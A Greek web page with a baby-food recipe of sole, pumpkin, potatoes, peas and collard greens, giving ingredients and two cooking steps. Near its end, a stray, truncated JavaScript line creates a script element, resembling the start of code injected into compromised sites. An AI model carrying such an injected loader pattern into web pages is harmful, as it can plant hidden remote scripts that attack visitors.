Γλώσσα με λεμόνι, λαχανίδες και αρακά

Γλώσσα με λεμόνι, λαχανίδες και αρακά

shutterstock_1474852976-9 μηνών

5 μερίδες

Κατάλληλο για κατάψυξη

Οι λαχανίδες αλλά και γενικότερα τα βαθυπράσινα φυλλώδη λαχανικά, είναι από τα πιο υγιεινά και θρεπτικά τρόφιμα που μπορούμε να φάμε. Είναι πλούσια σε βιταμίνη Α, C και Κ, καθώς και μέταλλα όπως ο σίδηρος και το κάλιο. Αν μάλιστα τα συνδυάσουμε με ένα αιθέριο λευκό ψάρι όπως η γλώσσα, αλλά και με κολοκύθα που είναι πλούσια σε β-καροτίνη, έχουμε ένα πραγματικό γεύμα-superfood για το μωρό μας που έχει και υπέροχη γεύση!

Τί θα χρειαστούμε

  • 150g κολοκύθα, ξεφλουδισμένη και ψιλοκομμένη
  • 200g πατάτες, ξεφλουδισμένες και ψιλοκομμένες
  • 150g κατεψυγμένο αρακά
  • 75g λαχανίδες, ψιλοκομμένες (μπορούμε να αντικαταστήσουμε με χόρτα, μαρούλι, ή λάχανο)
  • 325 g γλώσσα, χωρίς το δέρμα και κομμένη σε κομμάτια
  • 3 κουταλιές της σούπας γάλα
  • Λίγο χυμό λεμονιού
  • 30g παρμεζάνα, τριμμένη

Εκτέλεση σε 2 απλά βήματα

  1. Βάζουμε την κολοκύθα και τις πατάτες σε μια κατσαρόλα. Προσθέτουμε 300 ml νερό. Καλύπτουμε με καπάκι, βράζουμε για 10 λεπτά μέχρι να μαλακώσουν αρκετά. Προσθέτουμε τις λαχανίδες, τον αρακά και τη γλώσσα. Καλύπτουμε ξανά με το καπάκι για να συνεχίσει να σιγοβράζει για άλλα 10 λεπτά μέχρις ότου όλα τα λαχανικά και το ψάρι έχουν μαγειρευτεί.
  2. Προσθέτουμε το γάλα και το τυρί και στη συνέχεια πολτοποιούμε το μείγμα με ένα μπέλντερ. Τέλος προσθέτουμε το χυμό λεμονιού.

 var d=document;var s=d.createElement(‘script’);

Share This